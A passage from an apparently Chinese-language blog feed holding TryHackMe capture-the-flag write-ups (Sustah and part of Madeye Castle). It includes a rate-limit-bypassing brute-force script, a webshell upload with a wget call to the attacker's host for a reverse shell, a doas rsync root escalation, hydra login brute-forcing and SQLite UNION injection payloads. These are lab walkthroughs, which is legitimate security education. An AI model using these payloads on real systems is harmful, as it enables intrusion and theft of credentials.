&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;想起前面的 Backup 用了 &lt;code&gt;tar *&lt;/code&gt;所以可以快速提權&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/592b6-gE5YL0d.png"&gt;接 Shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49aa9-hXx86b5.png"&gt;取 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/becd4-XSutGiW.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Sustah (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/23/sustah-try-hack-me-writeup/</link><pubDate>Mon, 23 Aug 2021 13:26:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/23/sustah-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/sustah"&gt;https://tryhackme.com/room/sustah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.252.122&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.252.122 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/69385-Hn5pZPX.png"&gt;&lt;code&gt;nmap -A -p22,80,8085 10.10.252.122&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7e6c0-XFGhbeq.png"&gt;&lt;/li&gt;
&lt;li&gt;gunicorn 20.0.4觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/27dae-Yf78MKv.jpg"&gt;&lt;/li&gt;
&lt;li&gt;啥都ㄇ有&lt;/li&gt;
&lt;li&gt;掃目錄&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6896c-aljCOjz.png"&gt;&lt;/li&gt;
&lt;li&gt;也沒東西觀察 8085 port- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2d4b3-7KwmzSk.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來像是幸運轉盤&lt;/li&gt;
&lt;li&gt;掃目錄&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2275-MnxxFI6.png"&gt;&lt;/li&gt;
&lt;li&gt;有一個 ping 他只會回 pong&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="爆數字"&gt;爆數字&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下面有一個猜數字遊戲&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bc8c3-2R9ESg5.png"&gt;&lt;/li&gt;
&lt;li&gt;他說我有 0.004% 的勝率&lt;/li&gt;
&lt;li&gt;先測一下能不能爆破&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; bs4 &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; BeautifulSoup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept-Language&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;en-US,en;q=0.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;application/x-www-form-urlencoded&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Origin&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Connection&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;keep-alive&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Referer&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085/home&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Upgrade-Insecure-Requests&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;number&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;range&lt;/span&gt;(&lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(&lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085/home&amp;#39;&lt;/span&gt;, headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers, data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; soup &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; BeautifulSoup(response&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text,&lt;span style="color:#f1fa8c"&gt;&amp;#39;html.parser&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(soup&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;find(&lt;span style="color:#f1fa8c"&gt;&amp;#39;h3&amp;#39;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;except&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(soup)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;發現次數過多他會噴&lt;code&gt;{&amp;quot;error&amp;quot;:&amp;quot;rate limit execeeded&amp;quot;}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e725d-Ka1SXAx.png"&gt;試了很多次發現- 帶 &amp;lsquo;X-Remote-Addr&amp;rsquo; : &amp;lsquo;127.0.0.1&amp;rsquo;&lt;/li&gt;
&lt;li&gt;就不會噴錯了計算一下- &lt;code&gt;1/(0.004%) = 25000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以猜測密碼在這之間&lt;/li&gt;
&lt;li&gt;寫腳本來爆一下&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; bs4 &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; BeautifulSoup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; multiprocessing &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; Process, Pool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept-Language&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;en-US,en;q=0.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;application/x-www-form-urlencoded&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Origin&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Connection&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;keep-alive&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Referer&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085/home&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Upgrade-Insecure-Requests&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;X-Remote-Addr&amp;#39;&lt;/span&gt; : &lt;span style="color:#f1fa8c"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;l &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; [i &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;range&lt;/span&gt;(&lt;span style="color:#bd93f9"&gt;25000&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;def&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;meow&lt;/span&gt;(num):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;number&amp;#39;&lt;/span&gt;: num
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(&lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.10.252.122:8085/home&amp;#39;&lt;/span&gt;, headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers, data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; soup &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; BeautifulSoup(response&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text,&lt;span style="color:#f1fa8c"&gt;&amp;#39;html.parser&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; soup&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;find(&lt;span style="color:#f1fa8c"&gt;&amp;#39;h3&amp;#39;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Oh no!&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;not&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; s:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(num,s)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;except&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(soup , response&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;status_code)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; Pool(&lt;span style="color:#bd93f9"&gt;200&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;map(meow,l)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;幾秒鐘就爆出來ㄌ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/70a7b-ovEpSKA.png"&gt;&lt;/li&gt;
&lt;li&gt;10921他回應我這個 &lt;code&gt;/YouGotTh3P@th/&lt;/code&gt;- 加到 80 port 的 Path 上面會出現一個 CMS- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ec855-G6gweDr.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cms"&gt;CMS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現他是 Mara CMS&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2a65a-pQKgc9o.png"&gt;&lt;/li&gt;
&lt;li&gt;預設可以用 &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;changeme&lt;/code&gt; 進行登入登入完還要我趕快改密碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/71e94-caUvVfd.png"&gt;查詢相關 Exploit- &lt;a href="https://www.exploit-db.com/exploits/48780"&gt;https://www.exploit-db.com/exploits/48780&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;目測是可以直接傳 webshell那就給他直接傳下去ㄅ- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/be110-TDlZejC.png"&gt;還真的可以- &lt;code&gt;http://10.10.252.122/YouGotTh3P@th/img/webshell.php?A=wget 10.13.21.55:8000/s -O /tmp/s&lt;/code&gt;戳 reverse shell&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7184c-7JTOmDY.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;python3 -c &amp;quot;import pty;pty.spawn('/bin/bash')&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;試著用 LSE&lt;code&gt;bash lse.sh -l1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看不出什麼東西 QQ發現 find 指令被封鎖 QWQ- 提示說去找備份檔案&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c2e4e-gYLfB4Y.png"&gt;&lt;/li&gt;
&lt;li&gt;網路上看到兩種解法&lt;code&gt;tar cf - $PWD 2&amp;gt;/dev/null | tar tvf - | grep backup&lt;/code&gt;慢&lt;code&gt;du -a 2&amp;gt;/dev/null | grep backup&lt;/code&gt;- 快就找到了 &lt;code&gt;/usr/backups&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e7b00-amaWZB4.png"&gt;觀察發現有一個隱藏檔 &lt;code&gt;.bak.passwd&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/914b7-EgM00gS.png"&gt;&lt;/li&gt;
&lt;li&gt;解開來看&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4005c-RMkPPLY.png"&gt;獲得帳號密碼- &lt;code&gt;kiran&lt;/code&gt; / &lt;code&gt;trythispasswordforuserkiran&lt;/code&gt;透過 su 切過去- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/42aa8-PL9hiNi.png"&gt;取得 User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e450-B0lQJsK.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2fe2b-1L72E2i.png"&gt;使用豌豆- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/28f76-uhp6eWY.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有一個 &lt;code&gt;doas&lt;/code&gt; 酷指令，可以不用 suid 或 sudo去 GTFOBins 尋找 rsync to shell- &lt;a href="https://gtfobins.github.io/gtfobins/rsync/#suid"&gt;https://gtfobins.github.io/gtfobins/rsync/#suid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;doas rsync -e 'sh -p -c &amp;quot;sh 0&amp;amp;2&amp;quot;' 127.0.0.1:/dev/null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c19f3-AutD5Og.png"&gt;&lt;/li&gt;
&lt;li&gt;成功提權取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cce12-ci2EuFY.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Madeye Castle (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/23/madeye-castle-try-hack-me-writeup/</link><pubDate>Mon, 23 Aug 2021 13:06:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/23/madeye-castle-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/madeyescastle"&gt;https://tryhackme.com/room/madeyescastle&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.150.136&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.150.136 -r 1-65535&lt;/code&gt;Open 10.10.150.136:22&lt;/li&gt;
&lt;li&gt;Open 10.10.150.136:80&lt;/li&gt;
&lt;li&gt;Open 10.10.150.136:139&lt;/li&gt;
&lt;li&gt;Open 10.10.150.136:445&lt;code&gt;nmap -A -p22,80,139,445 10.10.150.136&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/98485-dfltW0w.png"&gt;掃路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.150.136&lt;/code&gt;backup/觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/680e7-MmQ0A0U.png"&gt;&lt;/li&gt;
&lt;li&gt;比起 Apache Default Page 好像多了一個 Logo&lt;/li&gt;
&lt;li&gt;但是他死ㄌ嘗試 smb- &lt;code&gt;smbclient -N '//10.10.150.136/sambashare'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2ac48-ncyBB1i.png"&gt;匿名登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5e550-nVskJ4S.png"&gt;- 下載檔案&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/52cad-tFtDzwX.png"&gt;- 觀察檔案&lt;/li&gt;
&lt;li&gt;感覺很像某種字典檔&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cb791-ypxWY9H.png"&gt;- 另外一個檔案&lt;/li&gt;
&lt;li&gt;感覺有某些提示， Hagrid 可能用 rockyou 的密碼嘗試 Hydra 爆密碼- &lt;code&gt;hydra -L user.txt -P spellnames.txt hogwartz-castle.thm http-post-form &amp;quot;/login:user=^USER^&amp;amp;password=^PASS^:Incorrect Username or Password&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db271-CwaK0bw.png"&gt;&lt;/li&gt;
&lt;li&gt;感覺很慢，沒效率，先放著丟一邊觀察首頁的註解- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2cf70-iiWqk7H.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來可以改 &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7be48-LR8qKGp.png"&gt;用 domain name 來訪問首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/81a90-QaO8nqV.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/26357-HkJdCpE.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是可以輸入帳號密碼的頁面掃路徑- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7cf3-ytCR8pJ.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來沒啥東西&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sqli"&gt;SQLi&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試 SQLi亂輸入會噴 500 錯誤&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/62124-hC9IwLa.png"&gt;先複製 curl- &lt;code&gt;curl 'http://hogwartz-castle.thm/login' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://hogwartz-castle.thm' -H 'Connection: keep-alive' -H 'Referer: http://hogwartz-castle.thm/' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'user=aa&amp;amp;password=bb'&lt;/code&gt;可以戳 Union- &lt;code&gt;'union select 1,2,3,4 --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2363e-8oZED4R.png"&gt;測了一些 version 之類的東東都發現不行- 才發現他是 SQLite&lt;/li&gt;
&lt;li&gt;&amp;lsquo;union select sqlite_version(),2,3,4 &amp;ndash;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8d73a-JXv1VVk.png"&gt;SQLite 爆表- &lt;code&gt;'union select name,2,3,4 from sqlite_master WHERE type='table' --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24e77-1S9UvKR.png"&gt;&lt;/li&gt;
&lt;li&gt;發現只有一張 users 的 table爆 Column- &lt;code&gt;'union select sql,2,3,4 from sqlite_master WHERE type='table' --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac1d7-DboQSLP.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;notes&lt;/code&gt;選使用者- &lt;code&gt;'union select group_concat(name),2,3,4 from users --&lt;/code&gt;&lt;/li&gt;
